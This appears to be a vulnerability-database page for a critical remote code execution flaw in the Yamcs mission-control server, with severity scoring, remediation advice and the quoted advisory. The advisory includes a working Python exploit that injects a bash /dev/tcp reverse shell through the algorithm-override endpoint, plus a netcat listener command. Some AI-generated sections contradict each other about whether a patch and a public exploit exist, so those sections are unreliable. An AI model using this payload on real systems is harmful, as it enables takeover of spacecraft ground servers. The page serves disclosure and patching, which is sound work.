Skip to main content

Yamcs CVE-2026-46562

| EUVDEUVD-2026-44958 CRITICAL
Code Injection (CWE-94)
2026-05-27 https://github.com/yamcs/yamcs GHSA-vmwp-vh32-rj75
9.8
CVSS 3.1 · Vendor: https://github.com/yamcs/yamcs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach Yamcs HTTP API port 8090
  2. Delivery
    Abuse default superuser guest account
  3. Exploit
    PATCH algorithm override with malicious JavaScript
  4. Execution
    Nashorn evaluates payload without ClassFilter
  5. Persist
    Java.type Runtime.exec spawns reverse shell
  6. Impact
    Execute OS commands as Yamcs user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concrete prerequisites drawn from the advisory: (1) network reachability to the Yamcs HTTP API port (default 8090); (2) the ability to call the algorithm-override endpoint, which in a default deployment with no security.yaml is satisfied without authentication because the built-in guest user has superuser=true, and in a security-enabled deployment requires a user granted the ChangeMissionDatabase system privilege; and (3) the target MDB must already contain at least one JavaScript CustomAlgorithm to override (the bundled simulator MDB ships several, such as /YSS/SIMULATOR/Battery_Voltage_Avg). What limits exploitation: deployments that configure security.yaml remove the unauthenticated path and require a privileged operator account; deployments whose MDB has no JavaScript algorithm to override are not directly exploitable via this PoC pattern; and the API port must be reachable from the attacker's position. No user interaction is required and the CVSS vector confirms PR:N for the default configuration.

Impact

All severity signals align toward high priority. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, base 9.8) indicates network reach, low complexity, and - in the default configuration - no privileges or user interaction, yielding full confidentiality, integrity, and availability loss. A functional, weaponizable PoC is published with the advisory (publicly available exploit code exists), which materially raises practical exploitability beyond the raw score. The CVE is not in CISA KEV, so there is no confirmation of active exploitation, and no EPSS probability was supplied in the input, so likelihood-of-exploitation telemetry is unknown. No SSVC decision data was provided. One nuance worth flagging: the PR:N rating assumes a default deployment where the guest user is superuser; a deployment with security.yaml enabled effectively raises the bar to an authenticated user holding the ChangeMissionDatabase privilege (closer to PR:L in practice), though such users are routinely MDB engineers/operators, so the privilege is not exotic. Given network-facing RCE on mission-control infrastructure plus a working exploit, this should be treated as a top-priority patch even absent KEV/EPSS data.

Exploit ScenarioDerived

An attacker who can reach the Yamcs HTTP API of a default-config deployment (or who holds the ChangeMissionDatabase privilege on a secured one) sends a PATCH to the algorithm-override endpoint for an existing JavaScript algorithm, supplying body text that breaks out of the generated wrapper and calls Java.type("java.lang.Runtime").getRuntime().exec(...) to spawn a reverse shell back to the attacker. The published PoC (publicly available exploit code exists) demonstrates this end-to-end against the bundled simulator instance and its /YSS/SIMULATOR/Battery_Voltage_Avg algorithm, gaining a shell as the Yamcs OS user. Because AV:N/AC:L means the request is a single low-complexity HTTP call and a valid payload throws no error, the intrusion fires no Yamcs events.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 27, 2026

Remote code execution in the Yamcs mission control framework (org.yamcs:yamcs-core, releases 4.7.3 through 5.12.6) lets a caller of the algorithm-override endpoint run arbitrary Java/OS code on the ground server. The Nashorn JavaScript engine that evaluates user-supplied algorithm text is created without a ClassFilter, so payloads can reach any Java class (e.g. java.lang.Runtime) and execute commands as the Yamcs process user; because the default install (no security.yaml) gives the built-in guest user superuser=true, the endpoint is reachable by an unauthenticated network attacker. A detailed working exploit is published in the GitHub Security Advisory (publicly available exploit code exists); the issue is not listed in CISA KEV and no EPSS score was provided in the input.

RemediationAI

Vendor-released patch: 5.12.7 - upgrade org.yamcs:yamcs-core to 5.12.7 or later, as published in advisory GHSA-vmwp-vh32-rj75 (https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75). If you cannot upgrade immediately, the highest-value compensating control is to stop running in the default no-auth configuration: deploy a security.yaml so the guest user no longer has superuser=true, which removes the unauthenticated path and forces an attacker to hold a real account. With security enabled, tightly restrict the ChangeMissionDatabase system privilege to a minimal set of trusted MDB engineers, since that privilege is the authenticated route to code execution (trade-off: legitimate operators editing calibrators, thresholds, or algorithms will need that privilege granted explicitly). Additionally, network-restrict the HTTP API port (default 8090) to trusted management networks or behind a VPN/reverse proxy with access control, accepting that this blocks legitimate remote operators not on that network. Note that disabling JavaScript algorithms is not a clean toggle and the endpoint requires only that the MDB already contain a JavaScript CustomAlgorithm, so network and privilege controls are the more reliable interim mitigations until 5.12.7 is applied.

Affected VersionsENISA

yamcs < 5.12.7

Affected Packages

maven org.yamcs:yamcs-core fix: 5.12.7
euvd yamcs fix: 5.12.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw is a CWE-94 code-injection in the JVM-based Yamcs server (CPE pkg:maven/org.yamcs:yamcs-core). Yamcs lets operators redefine telemetry-processing algorithms whose body is JavaScript; that body is executed by the JDK Nashorn engine via ScriptAlgorithmExecutorFactory. NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that whitelists which Java classes scripts may reference through Java.type(...); Yamcs calls the no-argument form, leaving the sandbox wide open. User input flows from the HTTP handler MdbOverrideApi.updateAlgorithm to AlgorithmManager.overrideAlgorithm to ScriptAlgorithmExecutorFactory.makeExecutor and finally to scriptEngine.eval(), where attacker text such as Java.type("java.lang.Runtime").getRuntime().exec(...) escapes JavaScript into native command execution inside the Yamcs JVM. The override path only emits WARNING/CRITICAL events when evaluation throws, so a syntactically valid payload runs silently and leaves no trace in the Yamcs event stream.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/yamcs/yamcs) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/yamcs/yamcs) · only source for this CVE.

CVSS VectorVendor: https://github.com/yamcs/yamcs

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Remote Code Execution via Mission Database algorithm override

Summary

The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter, allowing a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication.

Details

Vulnerable file: yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java

java
// L46-53  Nashorn engine obtained without a ClassFilter
ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()
        .filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())
                && candidate.getNames().contains(language))
        .findFirst().orElse(null);
if (factory != null) {
    scriptEngine = factory.getScriptEngine();          // ← ClassFilter not supplied
}

// L109  user-supplied algorithm text reaches eval()
scriptEngine.eval(functionScript);

NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that restricts which classes JavaScript can reach via Java.type(...). Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class - for example, Java.type("java.lang.Runtime").getRuntime().exec(...) runs arbitrary OS commands inside the Yamcs JVM.

The path from HTTP request to eval is: MdbOverrideApi.updateAlgorithm (yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189) → AlgorithmManager.overrideAlgorithm (yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559) → ScriptAlgorithmExecutorFactory.makeExecutor (yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117) → scriptEngine.eval(...).

PoC

Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as /YSS/SIMULATOR/Battery_Voltage_Avg).

Attacker-side listener:

nc -lvnp 4444
python
#!/usr/bin/env python3
"""
Usage: python3 <poc>.py http://target:8090 LHOST LPORT
"""
import json, sys, time, urllib.request

TARGET    = sys.argv[1].rstrip("/")
LHOST     = sys.argv[2]
LPORT     = int(sys.argv[3])
INSTANCE  = "simulator"
PROCESSOR = "realtime"
ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"
# Close the generated wrapper function with `}`, execute the payload at
# top level, then re-open a dummy function so the trailing `}` emitted
# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.
payload = (
    '} '
    'Java.type("java.lang.Runtime").getRuntime().exec('
    f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '
    'function _x(){'
)

patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"

def http(method, url, body=None):
    req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,
                                  method=method, headers={"Content-Type": "application/json"})
    return urllib.request.urlopen(req, timeout=10).read()

http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})
time.sleep(2)
http("PATCH", patch, {"action": "RESET"})

<img width="1841" height="881" alt="nashorn-rce-poc" src="https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671" /><br>

The override path emits events only when evaluation fails: a WARNING from ScriptAlgorithmExecutorFactory.java:112 and a CRITICAL from AlgorithmManager.java:546. Any syntactically valid payload - like the one above - succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream.

Impact

Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.

For a Yamcs deployment managing spacecraft operations, an attacker can:

  • forge or block telecommands, suppress alarms, and tamper with the telemetry archive - disrupting or seizing control of the mission;
  • read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);
  • pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);
  • install a persistent backdoor via the same primitive.

Who is impacted:

  • All Yamcs deployments running in the default configuration (no security.yaml present): any unauthenticated network attacker that can reach the HTTP API port (default 8090).
  • Yamcs deployments with security enabled: any user that has been granted the ChangeMissionDatabase system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.

Affected Versions

All Yamcs releases that ship the algorithm override endpoint are affected - no ClassFilter has ever been applied to the script engine.

  • First vulnerable release: yamcs-4.7.3 (2018-11-22). Introduced in commit 951e505d18a3912813b59edc685cbcbd4c609906 ("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added the ChangeAlgorithmRequest RPC (later renamed UpdateAlgorithmRequest) and routed it as PATCH /api/mdb/{instance}/{processor}/algorithms/{name*}.
  • Routing change at yamcs-5.5.0 (2021-04): the endpoint was split out of MdbApi into MdbOverrideApi and moved to PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}. The underlying scriptEngine.eval(...) sink and the missing ClassFilter are identical.
  • Latest release: yamcs-5.12.6 (commit f1a26fe54587fab9960d7e53fc1bf0c879220e9e) is affected. These four files (MdbOverrideApi.java, AlgorithmManager.java, ScriptAlgorithmExecutorFactory.java, SecurityStore.java) are unchanged between 5.12.6 and current master (96d3e2d474415bea859f40ecbddc1bb8a0d141c1) - no upstream fix exists.

In short: every Yamcs release from 4.7.3 through 5.12.6, plus current master, is vulnerable (133 release tags spanning 2018-11-22 to present).

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 6 maven packages depend on org.yamcs:yamcs-core (6 direct, 0 indirect)

Ecosystem-wide dependent count for version 5.12.7.

Executive ViewAI

Why It Matters

Yamcs mission control framework versions 4.7.3 through 5.12.6 contain an unpatched critical vulnerability enabling unauthenticated remote code execution on ground servers via the algorithm-override endpoint. Organizations operating Yamcs in default configuration face immediate risk of unauthorized command execution and potential compromise of mission operations, with no vendor patch currently available and working exploits publicly documented.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict algorithm-override endpoint access via perimeter firewall rules; (2) Configure security.yaml to remove superuser=true privilege from guest user account; (3) Disable algorithm-override endpoint at application level if mission requirements permit; (4) Deploy WAF rules blocking POST requests to vulnerable endpoint; (5) Implement continuous monitoring and alerting on Nashorn engine execution logs for suspicious payload patterns.

Threat Intelligence Overview

EPSS Score
0.6%
Top 31% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy